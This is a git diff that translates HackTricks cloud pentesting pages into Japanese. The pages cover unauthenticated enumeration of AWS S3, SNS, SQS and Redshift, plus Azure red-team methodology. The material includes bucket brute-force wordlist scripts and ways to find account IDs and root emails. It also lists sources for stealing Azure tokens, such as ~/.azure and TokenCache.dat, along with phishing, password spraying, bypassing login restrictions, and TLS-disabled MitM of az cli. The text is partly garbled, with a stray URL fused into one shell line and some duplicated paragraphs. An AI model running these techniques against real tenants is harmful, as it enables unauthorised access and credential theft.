--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md @@ -2,14 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### 公開URLテンプレート ``` {user_provided}...redshift.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md index 28c7b1673..6f343aa00 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md @@ -1,43 +1,43 @@ -# AWS - S3 Unauthenticated Enum +# AWS - S3 認証なし列挙 {{#include ../../../banners/hacktricks-training.md}} -## S3 Public Buckets +## S3 パブリックバケット -A bucket is considered **“public”** if **any user can list the contents** of the bucket, and **“private”** if the bucket's contents can **only be listed or written by certain users**. +バケットは、**「パブリック」**と見なされる場合、**任意のユーザーがバケットの内容をリストできる**場合であり、**「プライベート」**と見なされる場合は、バケットの内容が**特定のユーザーによってのみリストまたは書き込まれる**場合です。 -Companies might have **buckets permissions miss-configured** giving access either to everything or to everyone authenticated in AWS in any account (so to anyone). Note, that even with such misconfigurations some actions might not be able to be performed as buckets might have their own access control lists (ACLs). +企業は、**バケットの権限が誤って設定されている**可能性があり、すべてまたはAWSの任意のアカウントで認証されたすべてのユーザーにアクセスを許可している場合があります（つまり、誰にでも）。このような誤設定があっても、バケットには独自のアクセス制御リスト（ACL）があるため、特定のアクションが実行できない場合があります。 -**Learn about AWS-S3 misconfiguration here:** [**http://flaws.cloud**](http://flaws.cloud/) **and** [**http://flaws2.cloud/**](http://flaws2.cloud) +**AWS-S3の誤設定についてはこちらを学んでください:** [**http://flaws.cloud**](http://flaws.cloud/) **および** [**http://flaws2.cloud/**](http://flaws2.cloud) -### Finding AWS Buckets +### AWS バケットの発見 -Different methods to find when a webpage is using AWS to storage some resources: +ウェブページがAWSを使用してリソースを保存しているかどうかを見つけるためのさまざまな方法： -#### Enumeration & OSINT: +#### 列挙 & OSINT: -- Using **wappalyzer** browser plugin -- Using burp (**spidering** the web) or by manually navigating through the page all **resources** **loaded** will be save in the History. -- **Check for resources** in domains like: +- **wappalyzer** ブラウザプラグインを使用 +- burpを使用して（ウェブを**スパイダー**する）または手動でページをナビゲートすることで、すべての**リソース**が**履歴**に保存されます。 +- 次のドメインで**リソースを確認**： - ``` - http://s3.amazonaws.com/[bucket_name]/ - http://[bucket_name].s3.amazonaws.com/ - ``` +``` +http://s3.amazonaws.com/[bucket_name]/ +http://[bucket_name].s3.amazonaws.com/ +``` -- Check for **CNAMES** as `resources.domain.com` might have the CNAME `bucket.s3.amazonaws.com` -- Check [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), a web with already **discovered open buckets**. -- The **bucket name** and the **bucket domain name** needs to be **the same.** - - **flaws.cloud** is in **IP** 52.92.181.107 and if you go there it redirects you to [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Also, `dig -x 52.92.181.107` gives `s3-website-us-west-2.amazonaws.com`. - - To check it's a bucket you can also **visit** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). +- **CNAMES**を確認します。`resources.domain.com`は`bucket.s3.amazonaws.com`のCNAMEを持っている可能性があります。 +- すでに**発見されたオープンバケット**を持つウェブサイト[https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)を確認します。 +- **バケット名**と**バケットドメイン名**は**同じである必要があります。** +- **flaws.cloud**は**IP** 52.92.181.107にあり、そこに行くと[https://aws.amazon.com/s3/](https://aws.amazon.com/s3/)にリダイレクトされます。また、`dig -x 52.92.181.107`は`s3-website-us-west-2.amazonaws.com`を返します。 +- バケットであることを確認するには、[https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/)を**訪問**することもできます。 -#### Brute-Force +#### ブルートフォース -You can find buckets by **brute-forcing name**s related to the company you are pentesting: +ペンテストしている会社に関連する**名前をブルートフォース**することでバケットを見つけることができます： - [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner) - [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector) -- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contains a list with potential bucket names) +- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump)（潜在的なバケット名のリストを含む） - [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets) - [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky) - [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers) @@ -45,48 +45,47 @@ You can find buckets by **brute-forcing name**s related to the company you are p - [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner) - [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter) -
# Generate a wordlist to create permutations
+
# パーミュテーションを作成するためのワードリストを生成
 curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
 curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
 cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
 
-# Generate a wordlist based on the domains and subdomains to test
-## Write those domains and subdomains in subdomains.txt
+# テストするためのドメインとサブドメインに基づいてワードリストを生成
+## これらのドメインとサブドメインをsubdomains.txtに書き込む
 cat subdomains.txt > /tmp/words-hosts-s3.txt
 cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
 cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
 
-# Create permutations based in a list with the domains and subdomains to attack
+# 攻撃するためのドメインとサブドメインのリストに基づいてパーミュテーションを作成
 goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
-## The previous tool is specialized increating permutations for subdomains, lets filter that list
-### Remove lines ending with "."
+## 前のツールはサブドメインのパーミュテーションを作成することに特化しているので、そのリストをフィルタリングします
+### ".で終わる行を削除
 cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
-### Create list without TLD
+### TLDなしのリストを作成
 cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
-### Create list without dots
+### ドットなしのリストを作成
 cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
-### Create list without hyphens
+### ハイフンなしのリストを作成
 cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
 
-## Generate the final wordlist
+## 最終的なワードリストを生成
 cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
 
-## Call s3scanner
+## s3scannerを呼び出す
 s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
 

 
-#### Loot S3 Buckets
+#### S3 バケットの略奪
 
-Given S3 open buckets, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) can automatically **search for interesting information**.
+S3のオープンバケットがある場合、[**BucketLoot**](https://github.com/redhuntlabs/BucketLoot)は自動的に**興味深い情報を検索**できます。
 
-### Find the Region
+### リージョンを見つける
 
-You can find all the supported regions by AWS in [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html)
+AWSがサポートしているすべてのリージョンは、[**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html)で確認できます。
 
-#### By DNS
-
-You can get the region of a bucket with a **`dig`** and **`nslookup`** by doing a **DNS request of the discovered IP**:
+#### DNSによる
 
+**`dig`**および**`nslookup`**を使用して、発見されたIPの**DNSリクエスト**を行うことで、バケットのリージョンを取得できます：
 ```bash
 dig flaws.cloud
 ;; ANSWER SECTION:
@@ -96,31 +95,29 @@ nslookup 52.218.192.11
 Non-authoritative answer:
 11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
 ```
+ドメインが「website」という単語を含んでいることを確認してください。\
+静的ウェブサイトには次のURLでアクセスできます: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\
+または、バケットには次のURLでアクセスできます: `flaws.cloud.s3-us-west-2.amazonaws.com`
 
-Check that the resolved domain have the word "website".\
-You can access the static website going to: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\
-or you can access the bucket visiting: `flaws.cloud.s3-us-west-2.amazonaws.com`
+#### 試してみる
 
-#### By Trying
-
-If you try to access a bucket, but in the **domain name you specify another region** (for example the bucket is in `bucket.s3.amazonaws.com` but you try to access `bucket.s3-website-us-west-2.amazonaws.com`, then you will be **indicated to the correct location**:
+バケットにアクセスしようとしたが、**指定したドメイン名が別のリージョン**である場合（例えば、バケットが`bucket.s3.amazonaws.com`にあるが、`bucket.s3-website-us-west-2.amazonaws.com`にアクセスしようとした場合）、**正しい場所に誘導されます**:
 
 ![](<../../../images/image (106).png>)
 
-### Enumerating the bucket
+### バケットの列挙
 
-To test the openness of the bucket a user can just enter the URL in their web browser. A private bucket will respond with "Access Denied". A public bucket will list the first 1,000 objects that have been stored.
+バケットのオープン性をテストするために、ユーザーは単にURLをウェブブラウザに入力することができます。プライベートバケットは「アクセス拒否」と応答します。パブリックバケットは、保存された最初の1,000オブジェクトをリストします。
 
-Open to everyone:
+誰でもアクセス可能:
 
 ![](<../../../images/image (201).png>)
 
-Private:
+プライベート:
 
 ![](<../../../images/image (83).png>)
 
-You can also check this with the cli:
-
+これをcliで確認することもできます:
 ```bash
 #Use --no-sign-request for check Everyones permissions
 #Use --profile  to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions
@@ -128,22 +125,18 @@ You can also check this with the cli:
 #Opcionally you can select the region if you now it
 aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2]
 ```
+バケットにドメイン名がない場合、列挙しようとするときは、**バケット名のみを入力**し、全体のAWSs3ドメインは入力しないでください。例: `s3://`
 
-If the bucket doesn't have a domain name, when trying to enumerate it, **only put the bucket name** and not the whole AWSs3 domain. Example: `s3://`
-
-### Public URL template
-
+### 公開URLテンプレート
 ```
 https://{user_provided}.s3.amazonaws.com
 ```
-
 ### Get Account ID from public Bucket
 
-It's possible to determine an AWS account by taking advantage of the new **`S3:ResourceAccount`** **Policy Condition Key**. This condition **restricts access based on the S3 bucket** an account is in (other account-based policies restrict based on the account the requesting principal is in).\
-And because the policy can contain **wildcards** it's possible to find the account number **just one number at a time**.
-
-This tool automates the process:
+AWSアカウントを特定することは、新しい **`S3:ResourceAccount`** **ポリシー条件キー**を利用することで可能です。この条件は、アカウントが存在するS3バケットに基づいてアクセスを**制限**します（他のアカウントベースのポリシーは、リクエスト元のプリンシパルが存在するアカウントに基づいて制限します）。\
+ポリシーには**ワイルドカード**を含めることができるため、アカウント番号を**1つずつ**見つけることが可能です。
 
+このツールはそのプロセスを自動化します：
 ```bash
 # Installation
 pipx install s3-account-search
@@ -153,13 +146,11 @@ s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket
 # With an object
 s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext
 ```
+この技術は、API Gateway URLs、Lambda URLs、Data Exchange データセット、さらにはタグの値を取得するためにも機能します（タグキーがわかっている場合）。詳細については、[**元の研究**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/)と、この悪用を自動化するためのツール[**conditional-love**](https://github.com/plerionhq/conditional-love/)を参照してください。
 
-This technique also works with API Gateway URLs, Lambda URLs, Data Exchange data sets and even to get the value of tags (if you know the tag key). You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation.
-
-### Confirming a bucket belongs to an AWS account
-
-As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, if you have permissions to list a bucket** it’s possible to confirm an accountID the bucket belongs to by sending a request like:
+### バケットがAWSアカウントに属していることを確認する
 
+[**このブログ記事**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)で説明されているように、**バケットをリストする権限がある場合**、次のようなリクエストを送信することで、バケットが属するアカウントIDを確認することが可能です。
 ```bash
 curl -X GET "[bucketname].amazonaws.com/" \
 -H "x-amz-expected-bucket-owner: [correct-account-id]"
@@ -167,41 +158,40 @@ curl -X GET "[bucketname].amazonaws.com/" \
 
 ...
 ```
-
 If the error is an “Access Denied” it means that the account ID was wrong.
 
 ### Used Emails as root account enumeration
 
 As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), it's possible to check if an email address is related to any AWS account by **trying to grant an email permissions** over a S3 bucket via ACLs. If this doesn't trigger an error, it means that the email is a root user of some AWS account:
 
+エラーが「アクセス拒否」の場合、それはアカウントIDが間違っていることを意味します。
+
+### ルートアカウント列挙としての使用メール
+
+[**このブログ記事**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)で説明されているように、ACLを介してS3バケットに対してメールに権限を付与しようとすることで、メールアドレスがAWSアカウントに関連しているかどうかを確認することが可能です。これがエラーを引き起こさない場合、そのメールはAWSアカウントのルートユーザーであることを意味します。
 ```python
 s3_client.put_bucket_acl(
-    Bucket=bucket_name,
-    AccessControlPolicy={
-        'Grants': [
-            {
-                'Grantee': {
-                    'EmailAddress': 'some@emailtotest.com',
-                    'Type': 'AmazonCustomerByEmail',
-                },
-                'Permission': 'READ'
-            },
-        ],
-        'Owner': {
-            'DisplayName': 'Whatever',
-            'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef'
-        }
-    }
+Bucket=bucket_name,
+AccessControlPolicy={
+'Grants': [
+{
+'Grantee': {
+'EmailAddress': 'some@emailtotest.com',
+'Type': 'AmazonCustomerByEmail',
+},
+'Permission': 'READ'
+},
+],
+'Owner': {
+'DisplayName': 'Whatever',
+'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef'
+}
+}
 )
 ```
-
-## References
+## 参考文献
 
 - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
 - [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
index 7978eff36..cf1438a25 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
@@ -1,25 +1,21 @@
-# AWS - SNS Unauthenticated Enum
+# AWS - SNS 未認証列挙
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## SNS
 
-For more information about SNS check:
+SNSに関する詳細情報は以下を確認してください:
 
 {{#ref}}
 ../aws-services/aws-sns-enum.md
 {{#endref}}
 
-### Open to All
+### 誰でもアクセス可能
 
-When you configure a SNS topic from the web console it's possible to indicate that **Everyone can publish and subscribe** to the topic:
+ウェブコンソールからSNSトピックを設定する際に、**誰でも公開および購読できる**ことを示すことが可能です:
 
 

 
-So if you **find the ARN of topics** inside the account (or brute forcing potential names for topics) you can **check** if you can **publish** or **subscribe** to **them**.
+したがって、アカウント内の**トピックのARNを見つける**（またはトピックの潜在的な名前をブルートフォースする）と、**それらに公開**または**購読**できるかどうかを**確認**できます。
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
index a5006a63b..167da4e88 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
@@ -1,27 +1,21 @@
-# AWS - SQS Unauthenticated Enum
+# AWS - SQS 無認証列挙
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## SQS
 
-For more information about SQS check:
+SQSに関する詳細情報は、以下を確認してください：
 
 {{#ref}}
 ../aws-services/aws-sqs-and-sns-enum.md
 {{#endref}}
 
-### Public URL template
-
+### 公開URLテンプレート
 ```
 https://sqs.[region].amazonaws.com/[account-id]/{user_provided}
 ```
+### 権限の確認
 
-### Check Permissions
-
-It's possible to misconfigure a SQS queue policy and grant permissions to everyone in AWS to send and receive messages, so if you get the ARN of queues try if you can access them.
+SQSキューポリシーを誤って設定し、AWS内のすべてのユーザーにメッセージの送受信権限を付与することが可能です。したがって、キューのARNを取得したら、アクセスできるか試してみてください。
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md
index 9d2de65fc..581a50a55 100644
--- a/src/pentesting-cloud/azure-security/README.md
+++ b/src/pentesting-cloud/azure-security/README.md
@@ -2,86 +2,85 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## 基本情報
 
 {{#ref}}
 az-basic-information/
 {{#endref}}
 
-## Azure Pentester/Red Team Methodology
+## Azure ペンテスター/レッドチームの方法論
 
-In order to audit an AZURE environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal Azure services and **external services** connected.
+AZURE 環境を監査するためには、どの **サービスが使用されているか**、何が **公開されているか**、誰が **何にアクセスできるか**、内部の Azure サービスと **外部サービス**がどのように接続されているかを知ることが非常に重要です。
 
-From a Red Team point of view, the **first step to compromise an Azure environment** is to manage to obtain some **credentials** for Azure AD. Here you have some ideas on how to do that:
+レッドチームの観点から、**Azure 環境を侵害するための最初のステップ**は、Azure AD の **資格情報**を取得することです。以下はその方法のいくつかです：
 
-- **Leaks** in github (or similar) - OSINT
-- **Social** Engineering
-- **Password** reuse (password leaks)
-- Vulnerabilities in Azure-Hosted Applications
-  - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint
-  - **Local File Read**
-    - `/home/USERNAME/.azure`
-    - `C:\Users\USERNAME\.azure`
-    - The file **`accessTokens.json`** in `az cli` before 2.30 - Jan2022 - stored **access tokens in clear text**
-    - The file **`azureProfile.json`** contains **info** about logged user.
-    - **`az logout`** removes the token.
-    - Older versions of **`Az PowerShell`** stored **access tokens** in **clear** text in **`TokenCache.dat`**. It also stores **ServicePrincipalSecret** in **clear**-text in **`AzureRmContext.json`**. The cmdlet **`Save-AzContext`** can be used to **store** **tokens**.\
-      Use `Disconnect-AzAccount` to remove them.
-- 3rd parties **breached**
-- **Internal** Employee
-- [**Common Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credentials or Oauth App)
-  - [Device Code Authentication Phishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
-- [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
+- GitHub（または類似の）での **漏洩** - OSINT
+- **ソーシャル** エンジニアリング
+- **パスワード** 再利用（パスワード漏洩）
+- Azure ホストアプリケーションの脆弱性
+- [**サーバーサイドリクエストフォージェリ**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) メタデータエンドポイントへのアクセス
+- **ローカルファイル読み取り**
+- `/home/USERNAME/.azure`
+- `C:\Users\USERNAME\.azure`
+- **`accessTokens.json`** ファイル（az cli 2.30以前 - 2022年1月） - **アクセス トークンを平文で保存**
+- **`azureProfile.json`** ファイルには **ログインユーザーに関する情報**が含まれています。
+- **`az logout`** はトークンを削除します。
+- 古いバージョンの **`Az PowerShell`** は **アクセス トークン**を **平文**で **`TokenCache.dat`** に保存していました。また、**ServicePrincipalSecret** を **平文**で **`AzureRmContext.json`** に保存します。コマンドレット **`Save-AzContext`** を使用して **トークンを保存**できます。\
+`Disconnect-AzAccount` を使用してそれらを削除します。
+- 第三者が **侵害された**
+- **内部** 従業員
+- [**一般的なフィッシング**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology)（資格情報または Oauth アプリ）
+- [デバイスコード認証フィッシング](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
+- [Azure **パスワードスプレー**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
 
-Even if you **haven't compromised any user** inside the Azure tenant you are attacking, you can **gather some information** from it:
+攻撃している Azure テナント内で **ユーザーを侵害していなくても**、そこから **情報を収集**することができます：
 
 {{#ref}}
 az-unauthenticated-enum-and-initial-entry/
 {{#endref}}
 
 > [!NOTE]
-> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
+> 資格情報を取得した後は、それらの資格情報が **誰に属しているか**、および **何にアクセスできるか**を知る必要があるため、基本的な列挙を行う必要があります：
 
-## Basic Enumeration
+## 基本的な列挙
 
 > [!NOTE]
-> Remember that the **noisiest** part of the enumeration is the **login**, not the enumeration itself.
+> 列挙の **最も騒がしい** 部分は **ログイン** であり、列挙自体ではありません。
 
 ### SSRF
 
-If you found a SSRF in a machine inside Azure check this page for tricks:
+Azure 内のマシンで SSRF を見つけた場合は、トリックについてはこのページを確認してください：
 
 {{#ref}}
 https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
 {{#endref}}
 
-### Bypass Login Conditions
+### ログイン条件のバイパス
 
 

 
-In cases where you have some valid credentials but you cannot login, these are some common protections that could be in place:
+有効な資格情報があるがログインできない場合、以下は一般的な保護手段です：
 
-- **IP whitelisting** -- You need to compromise a valid IP
-- **Geo restrictions** -- Find where the user lives or where are the offices of the company and get a IP from the same city (or contry at least)
-- **Browser** -- Maybe only a browser from certain OS (Windows, Linux, Mac, Android, iOS) is allowed. Find out which OS the victim/company uses.
-- You can also try to **compromise Service Principal credentials** as they usually are less limited and its login is less reviewed
+- **IP ホワイトリスト** -- 有効な IP を侵害する必要があります
+- **地理的制限** -- ユーザーの居住地や会社のオフィスの場所を見つけ、同じ都市（または少なくとも同じ国）の IP を取得します
+- **ブラウザ** -- 特定の OS（Windows、Linux、Mac、Android、iOS）からのブラウザのみが許可されている場合があります。犠牲者/会社が使用している OS を特定します。
+- **サービス プリンシパルの資格情報を侵害**することも試みることができます。通常、制限が少なく、ログインがあまりレビューされません。
 
-After bypassing it, you might be able to get back to your initial setup and you will still have access.
+バイパスした後、初期設定に戻り、引き続きアクセスできる可能性があります。
 
-### Subdomain Takeover
+### サブドメインの乗っ取り
 
 - [https://godiego.co/posts/STO-Azure/](https://godiego.co/posts/STO-Azure/)
 
 ### Whoami
 
 > [!CAUTION]
-> Learn **how to install** az cli, AzureAD and Az PowerShell in the [**Az - Entra ID**](az-services/az-azuread.md) section.
+> az cli、AzureAD、および Az PowerShell の **インストール方法**を [**Az - Entra ID**](az-services/az-azuread.md) セクションで学んでください。
 
-One of the first things you need to know is **who you are** (in which environment you are):
+最初に知っておくべきことの一つは **自分が誰であるか**（どの環境にいるか）です：
 
 {{#tabs }}
 {{#tab name="az cli" }}
-
 ```bash
 az account list
 az account tenant list # Current tenant info
@@ -90,22 +89,18 @@ az ad signed-in-user show # Current signed-in user
 az ad signed-in-user list-owned-objects # Get owned objects by current user
 az account management-group list #Not allowed by default
 ```
-
 {{#endtab }}
 
 {{#tab name="AzureAD" }}
-
 ```powershell
 #Get the current session state
 Get-AzureADCurrentSessionInfo
 #Get details of the current tenant
 Get-AzureADTenantDetail
 ```
-
 {{#endtab }}
 
 {{#tab name="Az PowerShell" }}
-
 ```powershell
 # Get the information about the current context (Account, Tenant, Subscription etc.)
 Get-AzContext
@@ -121,53 +116,49 @@ Get-AzResource
 Get-AzRoleAssignment # For all users
 Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
 > [!CAUTION]
-> Oone of the most important commands to enumerate Azure is **`Get-AzResource`** from Az PowerShell as it lets you **know the resources your current user has visibility over**.
+> Azureを列挙するための最も重要なコマンドの1つは、**`Get-AzResource`**であり、これは**現在のユーザーが可視性を持つリソースを知ることができます**。
 >
-> You can get the same info in the **web console** going to [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) or searching for "All resources"
+> 同じ情報を**ウェブコンソール**で取得するには、[https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll)にアクセスするか、「すべてのリソース」を検索してください。
 
-### ENtra ID Enumeration
+### ENtra ID 列挙
 
-By default, any user should have **enough permissions to enumerate** things such us, users, groups, roles, service principals... (check [default AzureAD permissions](az-basic-information/#default-user-permissions)).\
-You can find here a guide:
+デフォルトでは、任意のユーザーは**ユーザー、グループ、役割、サービスプリンシパルなどを列挙するのに十分な権限を持っているはずです**（[デフォルトのAzureAD権限](az-basic-information/#default-user-permissions)を確認してください）。\
+ここにガイドがあります：
 
 {{#ref}}
 az-services/az-azuread.md
 {{#endref}}
 
 > [!NOTE]
-> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
-> In the following section you can check some ways to **enumerate some common services.**
+> これで**資格情報に関する情報を持っている**（そして、もしあなたがレッドチームであれば、希望的には**検出されていない**）ので、環境で使用されているサービスを特定する時が来ました。\
+> 次のセクションでは、**一般的なサービスを列挙するいくつかの方法**を確認できます。
 
 ## App Service SCM
 
-Kudu console to log in to the App Service 'container'.
+App Service 'コンテナ'にログインするためのKuduコンソール。
 
 ## Webshell
 
-Use portal.azure.com and select the shell, or use shell.azure.com, for a bash or powershell. The 'disk' of this shell are stored as an image file in a storage-account.
+portal.azure.comを使用してシェルを選択するか、bashまたはpowershell用にshell.azure.comを使用します。このシェルの'disk'は、ストレージアカウント内のイメージファイルとして保存されます。
 
 ## Azure DevOps
 
-Azure DevOps is separate from Azure. It has repositories, pipelines (yaml or release), boards, wiki, and more. Variable Groups are used to store variable values and secrets.
+Azure DevOpsはAzureとは別です。リポジトリ、パイプライン（yamlまたはリリース）、ボード、ウィキなどがあります。変数グループは、変数の値と秘密を保存するために使用されます。
 
 ## Debug | MitM az cli
 
-Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending:
-
+パラメータ**`--debug`**を使用すると、ツール**`az`**が送信しているすべてのリクエストを見ることができます：
 ```bash
 az account management-group list --output table --debug
 ```
-
-In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do:
+MitMツールに対して**手動で送信されるすべてのリクエストを確認**するには、次のようにします：
 
 {{#tabs }}
 {{#tab name="Bash" }}
-
 ```bash
 export ADAL_PYTHON_SSL_NO_VERIFY=1
 export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
@@ -180,25 +171,21 @@ export HTTP_PROXY="http://127.0.0.1:8080"
 openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
 export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
 ```
-
 {{#endtab }}
 
 {{#tab name="PS" }}
-
 ```bash
 $env:ADAL_PYTHON_SSL_NO_VERIFY=1
 $env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
 $env:HTTPS_PROXY="http://127.0.0.1:8080"
 $env:HTTP_PROXY="http://127.0.0.1:8080"
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
-## Automated Recon Tools
+## 自動化リコンツール
 
 ### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
-
 ```powershell
 cd ROADTools
 pipenv shell
@@ -206,9 +193,7 @@ roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
 roadrecon gather
 roadrecon gui
 ```
-
 ### [Monkey365](https://github.com/silverhack/monkey365)
-
 ```powershell
 Import-Module monkey365
 Get-Help Invoke-Monkey365
@@ -216,9 +201,7 @@ Get-Help Invoke-Monkey365 -Detailed
 Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue
 Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML
 ```
-
 ### [**Stormspotter**](https://github.com/Azure/Stormspotter)
-
 ```powershell
 # Start Backend
 cd stormspotter\backend\
@@ -236,9 +219,7 @@ az login -u test@corp.onmicrosoft.com -p Welcome2022!
 python stormspotter\stormcollector\sscollector.pyz cli
 # This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
 ```
-
